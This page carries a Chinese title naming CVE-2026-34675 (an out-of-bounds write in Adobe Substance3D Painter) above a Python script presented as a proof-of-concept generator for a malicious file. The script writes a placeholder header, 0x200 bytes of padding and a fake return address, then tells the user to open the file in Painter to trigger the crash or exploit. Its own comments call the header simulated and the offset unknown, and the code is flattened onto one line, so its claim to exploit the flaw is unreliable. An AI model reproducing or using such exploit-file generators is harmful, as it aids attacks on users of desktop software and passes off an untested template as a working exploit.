CVE-2026-34675 Adobe Substance3D Painter越界写入漏洞

import struct def create_malicious_file(filename): """ Proof of Concept generator for CVE-2026-34675. Creates a file designed to trigger the Out-of-Bounds Write vulnerability. """ with open(filename, 'wb') as f: # File header (Simulated) f.write(b'SUBSTANCE_FILE_HEADER') # Padding to reach the vulnerable buffer boundary # The exact offset needs to be determined via reverse engineering padding = b'A' * 0x200 # Malicious payload to overwrite return address or function pointer # Example: Address pointing to shellcode or ROP gadget overflow_payload = struct.pack('<Q', 0x4141414141414141) # Write the crafted data f.write(padding + overflow_payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Adobe Substance3D Painter <= 12.0.2 to trigger the crash/exploit.") if __name__ == "__main__": create_malicious_file("cve_2026_34675_poc.file")